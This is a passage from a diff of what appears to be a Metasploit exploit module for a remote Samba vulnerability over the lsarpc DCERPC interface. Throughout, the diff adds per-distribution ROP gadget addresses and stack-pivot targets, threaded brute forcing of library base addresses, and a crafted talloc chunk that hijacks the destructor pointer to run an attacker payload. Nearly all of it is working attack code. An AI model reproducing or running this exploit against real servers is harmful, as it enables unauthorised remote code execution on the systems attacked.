'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
'Start' => 0xb68d9000 ,
|
||||
'Stop' => 0xb6ad7000 ,
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
],
|
||||
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.04',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0x11c0,
|
||||
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
|
||||
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
|
||||
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
|
||||
# to effectively stack pivot
|
||||
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
|
||||
'Start' => 0xb6973000 ,
|
||||
'Stop' => 0xb6b71000 ,
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
],
|
||||
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
|
||||
#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
||||
# {
|
||||
# 'Arch' => ARCH_CMD,
|
||||
# 'Offset' => 0x11c0,
|
||||
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
|
||||
# 'Stackpivot' => 0,
|
||||
# 'Bruteforce' =>
|
||||
# {
|
||||
# # The start should be 0x950 aligned, and then step 0x1000.
|
||||
# 'Start' => { 'Ret' => 0x00230950 },
|
||||
# 'Stop' => { 'Ret' => 0x22a00950 },
|
||||
# 'Step' => 0x1000
|
||||
# }
|
||||
# }
|
||||
#],
|
||||
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x680 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230680 },
|
||||
'Stop' => { 'Ret' => 0x22a00680 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
|
||||
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
||||
'Start' => 0xb694f000 ,
|
||||
'Stop' => 0xb6b4d000 ,
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
],
|
||||
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x680 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0xb6aaa1b0 },
|
||||
'Stop' => { 'Ret' => 0xb6ce91b0 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
|
||||
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
||||
'Start' => 0xb6962000 ,
|
||||
'Stop' => 0xb6a61000 ,
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
]
|
||||
],
|
||||
|
|
@ -117,28 +141,53 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options([
|
||||
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
||||
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
||||
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]),
|
||||
OptInt.new("Delay", [false, "This option sets the delay in ms between each thread", 750])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.bruteforce?
|
||||
bf = target.bruteforce
|
||||
start = target["Start"]
|
||||
stop = target["Stop"]
|
||||
step = target["Step"]
|
||||
delay = datastore["Delay"] || 750
|
||||
|
||||
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
||||
bf.start_addresses['Ret'] = datastore['StartBrute']
|
||||
end
|
||||
start = datastore["StartBrute"] if (datastore["StartBrute"] and datastore["StartBrute"] > 0 )
|
||||
stop = datastore["StopBrute"] if (datastore["StopBrute"] and datastore["StopBrute"] > 0 )
|
||||
|
||||
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
||||
bf.stop_addresses['Ret'] = datastore['StopBrute']
|
||||
end
|
||||
|
||||
if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
|
||||
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
||||
end
|
||||
if start > stop
|
||||
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
||||
end
|
||||
|
||||
curr_addr = start
|
||||
i = 0
|
||||
count = (stop-start)/step
|
||||
|
||||
while curr_addr <= stop and not session_created?
|
||||
t = []
|
||||
1.upto(20) do
|
||||
break if session_created?
|
||||
i += 1
|
||||
t << framework.threads.spawn("Module(#{self.refname})-#{curr_addr}",false, curr_addr, i, count) do |addr, i, count|
|
||||
begin
|
||||
ok = false
|
||||
while ok != true
|
||||
begin
|
||||
do_one(addr, i, count)
|
||||
ok = true
|
||||
rescue ::Exception => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}, retrying with same address")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
curr_addr += step
|
||||
break if curr_addr > stop
|
||||
select(nil, nil, nil, delay/1000.0)
|
||||
end
|
||||
t.each {|x| x.join}
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
@ -162,30 +211,44 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def brute_exploit(target_addrs)
|
||||
|
||||
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
|
||||
def do_one(addr, i, count)
|
||||
print_status("Trying to exploit Samba with address 0x%.8x (%i/%i)..." % [addr, i, count])
|
||||
datastore['DCERPC::fake_bind_multi'] = false
|
||||
datastore['DCERPC::max_frag_size'] = 4248
|
||||
datastore['DCERPC::smb_pipeio'] = 'trans'
|
||||
datastore['DCERPC::ReadTimeout'] = 3
|
||||
|
||||
pipe = "lsarpc"
|
||||
|
||||
print_status("Connecting to the SMB service...")
|
||||
|
||||
connect()
|
||||
print_status("Login to the SMB service...")
|
||||
smb_login()
|
||||
|
||||
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
stub = "X" * 20
|
||||
dcerpc.socket.mode = 'rw'
|
||||
# revert for other exploits
|
||||
datastore['DCERPC::smb_pipeio'] = 'rw'
|
||||
|
||||
cmd = ";;;;" # padding
|
||||
cmd << "#{payload.encoded}\x00" # system argument
|
||||
tmp = cmd * (816/cmd.length)
|
||||
tmp << "\x00"*(816-tmp.length)
|
||||
helper = 0
|
||||
if target['Arch'] == ARCH_CMD
|
||||
cmd << "#{payload.encoded}\x00" # system argument
|
||||
tmp = cmd * (816/cmd.length)
|
||||
tmp << "\x00"*(816-tmp.length)
|
||||
ret_addr = addr
|
||||
elsif target['Arch'] == ARCH_X86
|
||||
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> addr })
|
||||
tmp = cmd
|
||||
tmp << "\x00"*(816-tmp.length)
|
||||
ret_addr = addr+target['Stackpivot']
|
||||
# will help in stack pivot when it's not eax pointing to shellcode
|
||||
if target['Stackpivot_helper']
|
||||
helper = addr+target['Stackpivot_helper']
|
||||
end
|
||||
end
|
||||
|
||||
stub = "X" * 20
|
||||
|
||||
stub << NDR.short(2) # level
|
||||
stub << NDR.short(2) # level 2
|
||||
|
|
@ -197,10 +260,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
stub << NDR.long(100)
|
||||
stub << rand_text_alpha(target['Offset'])
|
||||
# Crafted talloc chunk
|
||||
stub << 'A' * 8 # next, prev
|
||||
#stub << 'A' * 8 # next, prev
|
||||
stub << NDR.long(helper) + 'A'*4 # next, prev
|
||||
stub << NDR.long(0) + NDR.long(0) # parent, child
|
||||
stub << NDR.long(0) # refs
|
||||
stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
||||
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
||||
stub << NDR.long(ret_addr) # destructor # will become EIP
|
||||
stub << NDR.long(0) # name
|
||||
stub << "AAAA" # size
|
||||
stub << NDR.long(0xe8150c70) # flags
|
||||
|
|
@ -209,22 +274,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
stub << rand_text(32632)
|
||||
stub << rand_text(62000)
|
||||
|
||||
print_status("Calling the vulnerable function...")
|
||||
|
||||
begin
|
||||
call(dcerpc, 0x08, stub)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
||||
print_status('Server did not respond, this is expected')
|
||||
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
||||
print_error('Server is most likely patched...')
|
||||
rescue Timeout::Error
|
||||
print_status("Timeout")
|
||||
rescue Rex::Proto::SMB::Exceptions::LoginError
|
||||
print_status("Rex::Proto::SMB::Exceptions::LoginError")
|
||||
rescue => e
|
||||
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
||||
print_status('Server disconnected, this is expected')
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
handler()
|
||||
disconnect()
|
||||
end
|
||||
|
||||
# Perform a DCE/RPC Function Call
|
||||
|
|
|
|||
Loading…
Reference in New Issue